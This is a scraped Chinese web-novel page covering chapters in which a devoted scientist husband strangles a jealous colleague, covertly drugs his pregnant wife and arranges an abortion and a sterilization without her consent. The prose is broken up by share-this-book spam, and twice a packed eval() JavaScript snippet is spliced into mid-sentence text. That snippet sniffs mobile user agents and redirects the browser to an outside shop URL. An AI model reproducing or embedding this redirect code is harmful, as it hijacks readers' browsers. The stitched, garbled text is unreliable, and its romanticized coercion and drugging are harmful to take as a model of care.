言昭重新闭上眼睛，本来还想再眯一会儿，可脑子突然清醒过来，她猛地睁开眼，整个人一下子坐起身。 “刚刚是不是有人进来？ 她声音都变了，慌得不行，四下去找自己的衣服。 被子被她一掀，整个人已经从床上下来，脚刚踩到地上又被凉得缩了一下。 她这时候才后知后觉地反应过来，刚才自己是被顾煜抱在怀里的。 而且那个人肯定看见了。 脸“腾地一下全红了。 可红意还没散，她脑子里又跳出另一件事。 现在国家严打流氓罪。 有人因为在外面拉手被抓去教育。 他们刚才那样抱在一起睡觉。 还被人当场看见。 她脸上的血色瞬间褪干净。 “顾煜……她声音都有点发抖，“会不会被人举报啊…… 她一边说一边手忙脚乱地整理衣服，扣子扣错了都没发现。 顾煜坐在床边看着她这副样子，先是愣了一下，随后忍不住低低笑了一声。 他伸手把人拉回来，让她别再转来转去。 “昭昭，这里是单位的实验休息室，不是大街。刚才那个人是我小组的，他不敢乱说。 言昭还是紧张。 顾煜抬手替她把扣错的扣子解开重新扣好，继续说：“就算真有人问，也是夫妻。 他看着她，眼里带着点笑意。 “合法的。 言昭一脸害羞地点点头。 她刚从床边站起来，眼前突然一黑，整个人晃了一下，手下意识撑住旁边的桌子才没直接跌下去。 顾煜几乎是瞬间就到了她身边，一把把人扶住，另一只手已经贴上她的额头。 “怎么了？ 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 他的声音一下子沉了下来。 言昭自己也有点懵，只觉得脑袋发轻，脚底像踩在棉花上，“有点晕…… 顾煜脸色立刻变得难看，扶着她坐回床边，转身就在柜子里翻找。 没一会儿他就拿出一个细长的玻璃管。 “别动。 他解释了一下这个叫水银温度计。 言昭还没反应过来，那温度计就被他塞进自己腋下。 “夹好。 她整个人乖乖坐在床边，一只胳膊被迫抬着不敢动，模样有点呆。 顾煜蹲在她面前看着她，眉头皱得很紧，眼里那点阴沉都压不住。 “肯定是昨晚淋雨着凉了，都怪我。 他说这句话的时候声音很低，带着明显的懊恼。 言昭连忙摇头，“不是不是，是我自己身子骨太弱了，跟你没关系。 她怕他自责，说得很急，连温度计都差点掉下来。 顾煜伸手扶住她的胳膊，让她别乱动，“别说话。 他抬手把她散下来的头发理到耳后。 这时门突然被推开。 一个男生脸色着急地站在门口，手正死死拉着身边那个女生的胳膊，像是想把人拽住，可到底还是没拦住。 女生已经打开门走了进来。 她的视线第一眼就落在顾煜身上。 顾煜还半蹲在床边，手里拿着药，整个人离言昭很近，动作自然又亲密。 她的唇微微抿了一下。 那点细微的变化很快就压了下去。 紧接着女生的目光就落在言昭身上。 看得很直接。 从脸到衣服，再到她被顾煜扶着的手。 言昭几乎是瞬间就感觉到了。 那种打量。 那种藏不住的比较。 她太熟悉了。 以前在顾煜身边出现过的那些姑娘，看她的时候就是这种眼神。 这边顾煜的脸色已经彻底沉下去，刚才对着言昭的温和全部收干净。 他连看都没多看那女生一眼。 声音低而冷。 “滚。 那个字压得很重。 门口的男生整个人一僵，立刻把人往外拉。 女生也没有再停。 她只是最后又看了言昭一眼，然后转身离开。 门被重新关上。 屋里安静得只剩下两个人的呼吸声。 顾煜重新蹲下来，像是 听说看这本书的人都是很幸运的，分享后你的运气会更棒 什么都没发生一样，把水递到她唇边，语气又恢复成刚才的温软。 “张嘴。 言昭乖巧喝了一口被他弄温的水。 过了一会顾煜把温度计拿出来，对着光仔细看了一眼，眉头还皱着，神情严肃得不行。 言昭坐在床边紧张地看着他，连呼吸都放轻了。 过了两秒，顾煜眉心慢慢松开，语气也缓下来，“没事，应该是低血糖。他说完抬头看她，眼神重新变得温和，“我们去吃早饭。 言昭这才彻底松了口气，点点头，说了一声好。 顾煜伸手把她拉起来，顺势牵住她的手，两个人一起往外走。 门一打开，言昭就看到外面站着五个人。 刚才进来的那个男生也在，还有另外几个人，全都神色微妙地看过来。 言昭几乎是条件反射地把手抽了回来。 顾煜的手空了一下。 他没有再去牵她，也没有跟这几个人解释什么，只是神情恢复成平时在单位里的那种冷淡，迈步往前走。 言昭低着头跟在他身边。 气氛本来就有点紧。 偏偏那个女生在他们走到面前的时候突然开口。 “顾教授。 这句话一出来，旁边几个人脸色全变了。 有人拼命给她使眼色。 还有人轻轻拉她衣角。 女生像是没看到一样，站得很直。 气氛安静得吓人。 顾煜的脚步停下。 他慢慢转过身。 刚才在屋里的那点温和已经一点不剩。 眼神冷得像结了霜。 整个人身上的气场压得人连呼吸都不敢重。 他看着那个女生，没有提高声音，“她是我爱人。 女生当然知道这女人是顾教授的爱人，他结婚的事情在单位里早就传开。 可她心里那点不甘和嫉意压都压不住，反而让她整个人变得有点冲动。 她也就没有注意到顾煜眼底已经彻底沉下去的寒意。 忍不住又往前一步，声音发紧，“以前也有很多科研前辈，就是倒在自己的结婚对象—— 话还没说完。 女生整个人被一股力量猛地拽住，颈脖就被顾煜掐住。 动作快得所有人都没反应过来。 他手指收紧，直接把人抵在墙上。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 女生的呼吸瞬间断掉，脸色一下子涨红，眼睛睁得很大，里面全是不敢置信。 她根本没想到顾煜会对她动手。 顾煜的神情阴沉得可怕，眼底那点温和早就消失干净，像是压着什么要失控的东西，声音低得发冷，“你算什么东西？在这质疑我？ 女生喉咙被掐住，连一个完整的字都发不出来。 言昭整个人都被吓住了。 她本来还在紧张自己是不是闯祸了，现在看到顾煜这样，心脏猛地一缩。 言昭从来没见过他在自己面前这样。 那种狠意让她都觉得陌生。 她几乎是本能地冲过去，双手抱住顾煜的胳膊。 “顾煜……她声音有点急：“我好饿，我们去吃饭吧。 她抱着他的手臂，整个人贴过去。 就在言昭抱上来的那一刻，他整个人明显一顿，眼底的暴戾慢慢被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338036|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压了下去。 他低头看了她一眼。 那点冷意一点点散开。 手指终于松开。 女生整个人顺着墙滑下去，捂着脖子拼命咳嗽。 顾煜连看都没再看这个女人一眼，他反手握住言昭的手，语气已经恢复成刚才的温和。 “好。 现在言昭已经知道怎么解决他的脾气。 顾煜只要情绪上来，顺着他哄一点，他就会自己把脾气收回去。 等到两个人彻底走远，门口的空气才像是重新流动起来。 刚才一直不敢出声的几个男生这才围过去。 “思梦，你在搞什么鬼？ 有人压着声音，声音已经带着明显的怒气。 “你疯了吗？你刚刚在说什么话！ “那是顾教授的爱人，你当着他的面说那种话？ 被叫做思梦的女生还靠在墙边，捂着脖子不停咳嗽，眼睛通红，呼吸都没缓过来。 她的指尖在发抖。 刚才那一瞬间，她真的以为自己会被掐死。 可即使这样，她眼里的情绪还是没有完全散掉。 “我只是说事实……她声音沙哑。 “你那是找死！ 旁边的人气得不行，“顾教授是什么人你不知道？？你能让他当场掐你，你还觉得自己没问题？ “而且你刚刚是在质疑他的爱人是间谍，你知不知道这是什么性质！ 思梦心里的那点不甘还是堵着，磨着牙齿低声说：“我只是觉得她配不 听说看这本书的人都是很幸运的，分享后你的运气会更棒 上……” 这句话刚出口旁边几个人脸色全变了。 “你闭嘴吧！” “人家配不配轮得到你说？” “顾教授那种人你见过他对谁那么温和吗？刚才在屋里你没看到？” 思梦的唇紧紧抿住。 她当然看到了。 也正是因为看到了才更难受。 …… 两个人吃完早饭就回了家。 言昭总觉得身上黏糊糊的不舒服路过大澡堂的时候还是进去泡了一下。 热气蒸得她整个人有点发软出来的时候脚步都轻飘飘的。 回到家她头更晕了。 连鞋都没来得及好好摆就直接躺到了床上。 顾煜跟在后面进来一眼就看出她脸色不对走过去伸手摸她额头。 “刚刚泡太久了。” 他的声音压得很低。 言昭勉强冲他笑了一下整个人软在枕头上“没事我睡一觉就好了你去干活吧。” 她在回来的路上就知道他今天还要去单位。 顾煜没有动。 “我不放心。” 言昭摇头声音已经带着点困意“真的啦我睡一觉就好了。” 说到一半她像是突然想到什么小声问了一句“昨晚你带我去那个休息室是不是连累你了？” 顾煜低头看她。 那一瞬间眼神软得不像话。 他俯身下来在她额头上轻轻亲了一下。 又在她脸颊上亲了一下。 最后停在她唇上。 他的动作很慢很轻。 言昭本来苍白的唇被他一点点亲出血色呼吸也乱了。 她眼角因为那点缺氧感沁出一点湿意。 顾煜抬手用指腹替她擦掉。 声音低低的。 “没有。”他看着她语气温和得几乎听不出一点情绪“他们会求着我帮他们这不算什么。” 说完又在她唇上轻轻碰了一下才把被子拉好让她躺舒服。 他坐在床边没有立刻走。 一直等到言昭的呼吸慢慢变得均匀。 才起身。 顾煜轻轻把门带上。 他站在门外停了一秒 这时传来轻响的骨节声。 因为顾煜正在一根一根掰着手指。 指骨“咔哒”“咔哒”地响在安静的客厅显得格外清晰。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 刚才顾煜在屋里的那点温和像是被全部收走，现在他眼底只剩下冷。 那种没有情绪的冷，阴鸷又沉，连光都照不进去。 唇角也没有一点弧度。 …… 言昭这一觉睡得极沉。 等她再睁开眼的时候，窗外的光已经变成了偏橘的颜色，太阳正慢慢往西边落下去。 她猛地坐起身，像是想起了什么似的，可身体刚一用力，眼前又黑了一下，整个人晃了晃，只好重新扶住床沿。 那股晕眩来得快，去得也快。 只是头还是有点发沉。 她无奈地叹了口气，抬手揉了揉自己的额头，小声嘀咕了一句。 “真是被顾煜养娇了……” 就淋了那么一会儿雨，又去澡堂泡了一下，居然能睡到现在。 要是放在上辈子，这点事根本不算什么。 那时候她一个人上山砍柴，山路又滑又陡，有一次脚下踩空直接从坡上滚下去，身上全是擦伤，衣服都磨破了，第二天照样背着柴下山。 言昭刚准备去倒点水，门外响起了敲门声。 她走过去把门打开，就看到平时给她送饭的那个人站在门口，手里还提着一个饭盒。 那人一看到她，明显松了一口气，脸上的紧张一下子散开，“嫂子，中午饭你怎么没吃？你没事吧？” 语气里全是担心。 言昭这才注意到旁边的小凳子上还放着一个没动过的饭盒，应该是中午送来的，还有他现在手里这个。 她赶紧摆手解释，“我没事，就是睡着了，一觉睡到现在。” 说完还有点不好意思地笑了笑。 那男人这才彻底放下心来，“吓我一跳，我还以为你出什么事了。”他说着把饭盒递过来，“刚热好的，你趁热吃。” 言昭接过来，连声道谢。 男人看她脸色还有点白，又忍不住多问了一句，“嫂子真没事吧？要不要去卫生所看看？” 言昭摇头，“真没事，已经好多了。”她把饭盒接过来，又叮嘱道：“那个……中午我没吃饭的事，能不能别跟顾煜说？” 男人愣了一下。 言昭有点不好意思地笑了笑，“我真的没事，就是睡过头了，我怕他知道了又要担心。” 男人神色微微僵了一下，像是有点为难，但还是点了点头。 言昭这才松了口气，冲他笑了一下，道了声谢就关上了门。 她拎着饭盒往屋里走，完全没注意到门外那人站在原地停了两秒。 他挠了挠头，叹了口气。 等回到单位的时候，还是把这件事跟顾煜说了。 第68章 怀孕带球跑的前兆 言昭把两份饭都吃完的时候天色已经彻底暗下来。 屋子里开着灯她把饭盒收好 今天是周末不用去上晚上的课本来应该是自己最认真的一天可她整个人还是提不起精神。 书上的字看着看着就开始发虚。 她盯着一道题看了半天脑子却慢慢空掉视线停在纸面上人已经开始发呆。 没一会儿又打了个哈欠。 她抬手拍了拍自己的脸小声嘟囔了一句“不行不行。” 顾煜回来要是看到会以为她睡了一天肯定要担心。 她强撑着把背挺直拿起笔在草稿纸上写了两行字结果写着写着又停下来笔尖在纸上点出一个小黑点。 困意一阵一阵往上涌。 她索性站起来在屋里走了两圈想让自己清醒一点。 刚重新坐回去门口突然响起了敲门声。 言昭眼睛立刻亮起来。 只不过她还是有点疑惑他是忘记带钥匙了吗？ 她赶紧起身往门口走脚步还有点发虚手扶着门框把门打开。 在言昭把门打开的一瞬间脸上的笑还没来得及完全展开就停住了。 门外站着的却不是顾煜。 是一个她见过的人。 早上在实验室门口被顾煜掐住脖子的那个女生。 言昭眼里的那点期待瞬间收了回去神情也跟着淡下来。 她站在门口没有让开的意思只是看着对方问了一句“你有什么事吗？” 那女生像是一路跑过来的呼吸有点乱脸色发白语气急得不行“顾教授现在被关起来了。” 这句话砸下来的一瞬间言昭的心脏猛地跳了一下。 那种骤然收紧的感觉让她指尖都凉了一下。 可她脸上的表情几乎没有变。 脑子反而一下子清醒了。 顾煜平时跟她说单位的事情不多但该提醒的都提醒过什么能说什么不能问她心里有数。 他做的是给国家干活的事。 那种地方怎么可能说抓人就抓人。 就算真出了什么问题也会是上面的人来处理。 上次不也是吗。 言昭的心跳慢慢稳下来。 再看向这个女生的时候眼神已经冷静了许多。 “你从哪里听来的？” 语气不急不缓。 那女生愣了一 你的朋友正在书荒，快去帮帮他吧 下，像是没想到言昭会是这种反应。 “我刚从单位过来，他们都在说—— 言昭直接打断了她，“那你去找单位的人，你跑来找我干什么。 那女生明显急了，眼眶红了起来说：“都是我的错，我真的只是不想顾教授那么喜欢你而已，哪知道被人听见，真的跟领导说了…… …… 言昭最后还是来了，她一路几乎是跑着到顾煜单位的。 门口的人早就认识她，看到她脸色不对，也没拦，只是立刻让人带她进去。 走廊很长。 言昭脚步发虚。 办公室的门被推开的时候，里面的人全都站了起来。 有人给她搬椅子，有人倒水，还有人让她先坐下。 言昭一句话都没听进去，她只盯着他们的嘴。 直到那句话被说出来：“顾煜同志确实被带走配合调查了。 那一瞬间，她眼前像是被人重重敲了一下。 耳边嗡的一声。 什么都听不清了。 有人还在说话。 “你别担心，这件事应该问题不大。 “你和顾煜同志的身份背景我们都调查清楚了。 “只需要把这些资料送上去，流程走完人就能回来—— 声音像是隔着一层水，根本传不过来。 现在言昭的视线开始发虚，她想说话，想问一句他现在在哪。 可此刻她喉咙像被堵住了一样。 她整个人晃了一下。 言昭手还没来得及扶住桌子，眼前彻底黑了下去。 人直接往旁边倒。 屋里瞬间乱成一团。 “人晕了！ “快打120！ …… 言昭整个人陷在一片混乱的黑暗里。 她梦见有人一层一层翻她的资料，梦见那些她自己都说不清来历的过往被摊在桌子上，梦见有人冷着脸问她问题。 画面一转，她就看见顾煜被人带走。 他本来是站在灯光最亮的地方，被所有人捧着、信任着的人，现在却被推进一间没有窗的小屋子里。 屋子很黑。 只有一盏吊灯晃来晃去。 有人拍桌子，有人冷声质问。 那些话她在队里看露天电影的时候听过无数遍。 抓到卖国奸细的时候就是这样的。 顾煜坐在那里，手被按在桌面上，有人逼他承认，有人说 听说看这本书的人都是很幸运的，分享后你的运气会更棒 他隐瞒身份，有人说他利用婚姻做掩护。 他不说话。 然后就有人动手。 言昭在梦里拼命往前跑，脚像踩在泥里一样，怎么都跑不过去。 她一边跑一边哭，声音嘶哑。 “他没有！” “他不是！” “我男人不是那种人！” 她伸手去抓，可怎么都碰不到他。 灯光猛地一晃。 她在最用力喊出那句话的时候，整个人猛地惊醒。 呼吸急促，喉咙还在发紧，声音断在半空。 眼前的光很刺。 她脸上全是泪，枕头都湿了一片。 紧接着她就看见有人坐在床边。 是顾煜。 穿着那身她熟悉的衣服，眼神是她最熟悉的那种温柔，还有焦虑到极点的崩溃。 言昭几乎没有分辨这是不是梦。 她直接扑过去，用力抱住他。 抱得很紧。 言昭的手在发抖，整个人也都在抖，脸埋在他胸口还在哽咽。 顾煜被她这一抱整个人僵了一下，随即手臂收紧，把人整个抱住，一下一下拍着她的背。 声音低得不像话。 “昭昭，我在。” 她还是不松手，像是只要一松他就会被人带走。 顾煜低头去看她的脸，指腹把她脸上的泪一点点擦掉，眼底那点压着的情绪几乎要溢出来。 “我没事，真的没事。” 言昭什么都说不出来，只是抱着他，还哭得像个孩子。 顾煜抱着她坐在床边，一下一下拍着她的背，像是在哄小孩子。 言昭哭得停不下来，眼泪全蹭在他衣服上，手指还死死抓着他的衣襟不肯松开。 她哭了很久，声音都哑了，才断断续续地说出一句，“对不起……都是我的错……” 顾煜更紧地把人抱进怀里，“我们都干干净净的，他们叫我过去问话，是因为我最近做出来的几个东西动静太大，上面的人要了解情况。” 言昭埋在他怀里，听见这话才慢慢止住哭，鼻音还很重，小声“嗯”了一下。 顾煜把她重新放回床上，让她躺好，又把被子给她掖到肩膀。 她哭得太久，眼睛肿得厉害，人一沾枕头就开始犯困。 顾煜从旁边拿过那块很软的手帕，一点一点把她脸上的泪擦干净，动作耐心得不像话。 又去拧了一条温热的毛巾回来，轻轻给她擦脸， 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 连眼角都不放过。 言昭被他伺候得整个人都放松下来呼吸慢慢变得均匀。 眼睛还没完全睁开人已经又睡了过去。 顾煜坐在床边没有动。 手还停在她脸侧。 看了她很久。 等她彻底睡熟他才慢慢把毛巾放下替她把散开的头发理好。 屋里安静得只剩下她的呼吸声。 他的眼神一点点沉下来。 刚才对她说的那些话温和又平静此刻在没有人的房间里全都褪干净。 只剩下压着的冷意。 他伸手把她抓着自己衣角的手指轻轻掰开动作小心到几乎没有碰醒她然后起身走到窗边。 窗外的天已经彻底黑了。 他站在那里半张脸陷在阴影里。 …… 言昭再睁开眼的时候窗外的光已经很亮了。 她下意识抬手揉了揉眼睛才发现那种酸胀和发沉的感觉全都没了脑子也清清爽爽的 她慢慢坐起身伸了个懒腰才注意到周围的环境不对。 墙是白的。 空气里有淡淡的不太好闻的气味。 床边放着输液架。 这是一间单人病房。 她愣了一下还没完全反应过来门就被推开了。 顾煜走了进来手里拎着一个饭盒。 他一抬头就看到她已经坐起来他快步走过来。 “昭昭。”他把饭盒往旁边一放弯下身看她眼神紧张得不行“有没有哪里难受？头晕吗？心口闷不闷？我去喊医生！” 他说着就要转身。 言昭还没来得及开口门外已经有人进来了。 医生跟在后面走进来明显是早就被叫在外面等着的。 一通检查下来量体温听心跳又问了她几个问题。 最后医生把本子一合语气轻松下来“没什么问题就是低血糖加上这段时间太累了身体底子又弱回去好好补补营养就行。” 顾煜站在旁边一直没说话听到这句话整个人才像是松了一口气。 肩膀都明显往下落了一点。 医生走了之后病房里重新安静下来。 顾煜把饭盒打开把筷子递到她手里声音低低的“昭昭快先吃点东西。” 言昭把饭盒里的东西安安静静吃完一口一口咽下去整个人已经彻底缓过来了。 你的朋友正在书荒，快去帮帮他吧 她看着空掉的饭盒，又抬头看了一眼坐在旁边的顾煜，心里那点轻松慢慢变成了自责。 她这段时间动不动就头晕，一遇到事情就直接晕过去，这一次还把人折腾进医院，让他守着。 她低着头，小声开口，“又让你担心了。 顾煜本来在收拾饭盒，听见这句话动作顿了一下，抬眼看她，发现她神情有点蔫。 他往前凑了凑，弯下身和她平视，声音压得很轻，“怎么了？ 言昭抿了抿唇，“我总是让你担心…… 顾煜听完笑了一下，那笑意很淡，却带着点宠，“是有点担心。 他伸手在她额头上轻轻弹了一下。 “所以啊，下次对你男人的实力多信一点。不管出什么事，我都不会有事。 言昭被他说得脸一下子红了，低着头点了点。 她把饭盒推到一边，抬头看了看四周，“那我们回去吧，在医院一天也要花不少钱，我现在都好了。 顾煜摇了摇头。 “先不出院。 言昭愣住，“我没事了呀。 顾煜的神情很平静，把她身后的枕头垫高一点，让她坐得更舒服，动作一如既往的细致。 只是他垂着眼的时候睫毛在眼下投出一小片阴影，视线没有像平时那样第一时间落在她脸上，而是停在被子边缘一瞬，又很快抬起来。 “你这段时间身体总是不舒服，我已经给你安排了检查，等检查做完再回去。 他的语气温和得没有一点起伏，说完还顺手把她滑到肩下的被角重新掖好，指尖在她手腕处停了一下，才若无其事地收回去。 言昭有点茫然，“我没病啊。 顾煜看着她笑了一下，那笑意还是平时的样子，唇角弯起的弧度刚刚好，但那眼底的那点光没有完全跟上来，像是隔着一层什么。 他很快又伸手把她散下来的头发理到耳后，借着这个动作避开了她的视线。 “我知道。 他说得很轻，语气甚至比平时更耐心。 “检查一下放心，要是有点小问题，顺便治好，也省得以后折腾。 这句话说完，他下意识抬手去拿床头的水杯，才发现水是满的，又放回原处，指节在杯壁上轻轻敲了一下，像是在压着什么情绪。 言昭听得有点发懵。 顾煜看着她这副样子，指腹在她脸颊上轻轻按了一下，力道比平时多停了一瞬，像是在确认她还在自己面前，然后才收回手 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 笑意重新落下来。 “别胡思乱想都是常规检查。” 他说完这句话的时候另一只手已经在不自觉地攥紧了一下又很快松开。 整个人仍旧坐得很近姿态温柔又从容好像什么都没有发生。 …… 后面两天言昭都住在医院。 顾煜明显忙了起来可不管多忙一天总要过来三四次有时候是早上刚上班前有时候是中午抽空有时候是晚上很晚才来。 每一次都要先摸她额头问她有没有头晕再看她今天吃了多少东西。 她躺得浑身难受想下床走一走顾煜却不让说她刚缓过来不能乱动。 言昭被管得一点脾气都没有只能等他不在的时候偷偷下床在走廊里慢慢溜达两圈。 医院的走廊很安静消毒水的味道淡淡的 住一天就是钱。 她现在人都好了检查还没做心里总觉得浪费。 走着走着她想不如去问问医生看看什么时候能安排检查、让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338037|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己离开医院。 她顺着走廊走到医生办公室门口刚抬手准备敲门却从半掩的门缝里看见了一个熟悉的背影。 是顾煜。 她惊讶了。 他今天明明说要晚一点才过来怎么现在就在这里。 而且来了也没先去看她。 言昭心里有点疑惑下意识往前走了一步正准备推门进去。 里面传来医生的声音。 “现在你爱人肚子里的孩子还算稳定可以安排时间引产。” 这句话出现言昭整个人像是被定住。 耳朵嗡的一声。 孩子。 她脑子里只剩下几个字。 自己怀孕了？ 这个念头冲上来的瞬间心脏猛地狂跳血一下子涌上来整个人都发热。 她甚至下意识捂了一下肚子。 一种巨大的、从来没有过的喜悦冲得她眼眶都发酸。 她有孩子了。 她和顾煜的孩子。 可那个陌生的词引产她一时间没反应过来那是什么意思。 还没等言昭想明白。 顾煜的声音已经响起。 很低没有一丝她熟悉的温柔。 “我希望这个孩子能用最快的时间做掉也必须保证我爱人的身体健康。” 言昭的世界在这一瞬间彻底静了。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 那点刚刚升起来的喜悦还没来得及展开，就被硬生生掐断。 她站在门口，手还停在半空。 整个人像是被抽空了。 胸口发紧，呼吸都变得困难。 顾煜这句话她听懂了。 他说要弄掉他们的孩子。 她的心脏像是从高处狠狠摔下来。 言昭站在门口，耳朵嗡嗡作响。 脑子里开始疯狂叫嚣。 为什么。 为什么顾煜隐瞒她怀孕。 为什么他说不喜欢这个孩子。 为什么他说要把孩子弄掉。 这不可能。 顾煜对她那么好。 那种好是连她咳一声都会紧张的好，是她少吃一口饭都会追着问的好，是她皱一下眉都会心疼的好。 他怎么可能不喜欢他们的孩子。 她一定是听错了。 一定是医生说的不是她。 一定是别人的检查结果。 她越这样想，心脏跳得越乱。 言昭还是强迫自己冷静下来。 她不能在门口站着。 她深吸了一口气，用力把脸上的表情撑起来，把眼底的湿意压下去。 手抬起来，推开了门。 门开的那一刻，她脸上已经挂上了笑，苍白但还在努力维持着的那种。 “你来医院啦，怎么没找我呀？” 她的声音听起来和平时一样，还带着一点点埋怨的软。 视线在两个人之间转了一下，又落回顾煜身上。 “你们在说什么呢？我应该没事吧？” 说这句话的时候，她的手指悄悄在身侧攥紧。 指甲陷进掌心。 她自己都没感觉到疼。 门被推开的那一瞬间，顾煜的身体明显僵了一下。 那种僵硬极轻微，若是不熟悉他的人根本察觉不到，可言昭看得清清楚楚。 他的眼神先是停住了一瞬。 像是呼吸被卡住。 下一秒，那点异样被他强行压了下去，整个人又恢复成她熟悉的样子。 医生的表情没那么快收回来。 他明显愣了一下，目光在两个人之间来回扫了一眼，像是意识到了什么，又迅速低下头去翻手里的本子。 空气在这一刻变得很紧。 言昭脸上的笑还挂着，唇角的弧度甚至比平时更大一点，像是怕一松就会掉下来。 顾煜看着她。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 视线落在她脸上停了太久。 “昭昭，我想着过来先问好。” 他的语气依旧温和，可那温和里多了一层刻意。 言昭点了点头，又看向医生，像是真的什么都不知道一样，“医生，我应该没事吧？” 医生被她这一问，手里的笔差点掉下来。 他下意识看了一眼顾煜。 顾煜的目光已经落在他身上。 那一眼很平静，让人一句多余的话都不敢说。 “恢复得……挺好的。”医生勉强把话接上，“先把检查做完再看看。” 言昭哦了一声，像是松了一口气，转头去看顾煜。 她的眼睛亮亮的。 像平时那样。 “那你等会儿陪我回去吗？” 顾煜没有立刻回答，他伸手去扶她的肩膀，动作还是一贯的轻。 “你怎么自己过来了。” 言昭心里像被什么狠狠拧了一下。 他在转移话题。 她听出来了。 可她还是顺着他的话往下接，语气甚至带着点撒娇，“我一个人躺着太无聊了嘛，想问问什么时候检查，住一天也是钱嘛。你还没跟我说，你们刚刚在说什么呢？” 顾煜看着她笑。 那笑意和以前一样，特别好看，但是带着肉眼可见的强撑。 他没有回答。 顾煜只是牵着她的手往前走。 走廊很长，灯光一盏一盏落下来，把两个人的影子拉得很长。 言昭被他带着走了几步，脚步却在越来越慢。 她的视线落在两人交握的手上。 那只手还是和以前一样稳，掌心温热，指节修长，把她整个人护在里面。 他说过不会骗她的。 所以他选择不回答。 言昭的眼泪在这一刻突然掉了下来。 她忽然用力，把手从他掌心里抽了出来。 她站在原地不动了。 顾煜也停了下来。 走廊尽头有人推着病床经过，轮子在地面发出细微的声响，很快又远去，整个空间重新安静下来。 言昭的声音很轻。 “我怀孕了……是吗？” 顾煜没有回头。 他的背影笔直，肩线绷得很紧，像一块冷硬的石。 言昭看着他的背影，眼泪越掉越凶，她自己都没发现自己身体已经在发抖。 她等了一会儿。 没有等到答案。 她又问了一句。 声音已经带了颤。 “你为什么……不喜欢这个孩子？” 这一句话落下来，空气像是被人狠狠抽空。 顾煜的手指慢慢收紧。 指骨因为用力而发白。 第69章 带球跑了，顾煜疯了 顾煜转过身时脸上的神情已经恢复成她最熟悉的温柔模样唇角甚至还带着一点安抚人的笑意。 他朝她走近一步像往常那样抬手想把人揽进怀里。 可言昭往后退了一下手抵在他胸口把人推开。 这个动作不大但是让顾煜眼睛一沉。 他目光从她拒绝的手再缓缓来到她的脸上。 言昭摇着头眼睛红得厉害唇角硬生生撑起一个笑“刚刚……我是不是听错了？我们的孩子你怎么可能不喜欢呢对不对？” 她看着他一眨不眨像是只要他点头她就能立刻当作什么都没发生。 顾煜的目光落在她脸上那一瞬间眼底的情绪几乎要破开可下一秒又被他生生压了下去。 他说：“昭昭我们先回房间好不好？” 顾煜说着再一次伸手去牵她的手。 这一次言昭没有再躲整个人像是失了力气被他带着往回走。 走廊很长她的脚步发虚顾煜的掌心却依旧稳稳托着她的手腕温度透过皮肤传过来。 明明是她最熟悉、最依赖的温度这一刻却让她心口发冷。 回到病房 顾煜把她按坐在床上又去倒水、垫枕头动作一如既往地细致像是什么都没发生过。 她刚要开口顾煜已经把水递到她唇边言昭坐在那里看着他忙看着他把水杯递到自己面前看着他在床边坐下。 她这一整天情绪起伏太大喉咙又干下意识就低头喝了一口。 水是温的带着一点极淡的苦味她还没来得及多想视线就忽然晃了一下。 顾煜的脸在她眼前变得模糊她愣愣地看着他唇瓣动了动“你……” 下一秒眼前彻底黑下去身体往前软倒。 顾煜早就伸手接住她。 他把人抱回床上替她垫好枕头、盖好被子又把她的手收进被子里指腹在她脸颊上停了一瞬那点温度贴着皮肤慢慢散开。 言昭这一睡就是整整一夜。 顾煜一直坐在床边没有离开。 医生进来查房的时候低声告诉他这个剂量的药对她身体没有伤害只是让人进入深度睡眠会自然醒过来的。 顾煜点了点头他眼神温柔地看着床上的人手指在她脸颊上轻轻摩挲了一下像是在确认温度还在。 然后他开口“那就今晚开始吧。” 医生条 你的朋友正在书荒，快去帮帮他吧 件反射问：“顾教授，您说的是……” “结扎。” 顾煜两个字说得干脆利落。 医生的表情明显变了，他本来以为顾煜之前说的只是情绪话。 他下意识看了一眼病床上的言昭，又压低声音，“这个手术不是说做就能做的，我没有权限，需要你开个证明……” …… 顾煜的申请刚递上去，消息就已经在单位内部传开。 本来这种私事根本不会有人过问，生不生孩子、做不做手术都是个人决定，可问题是那份申请上写着的名字是顾煜。 整个研究所的人看到那两个字的时候都愣住了。 先是安静了几秒。 紧接着办公室里直接炸开。 “他要结扎？” “真的假的？” 有人把申请单拍在桌子上，脸都涨红了，“他那个脑子，不多生两个孩子都对不起国家！” 旁边的人赶紧压低声音，“小点声，这话能乱说吗。” “那你说怎么办，他真做了怎么办！” 所里几个年纪大的专家脸色都变了。 他们平时对顾煜是又敬又护，当祖宗一样供着，现在听到这个消息，比自己家孩子要去出家还难受。 “谁批的这个流程？” “医院那边刚走到登记，还没批。” “走，现在过去。” 几个人几乎是同时起身。 连外套都没拿，直接往外走。 车子一路开到医院门口。 他们下车的时候气都没喘匀。 顾煜正坐在病房里。 言昭还在睡，他把她的手放回被子里，起身准备去打点水。 门刚打开，就看到走廊尽头一群人快步朝这边过来。 全是熟面孔。 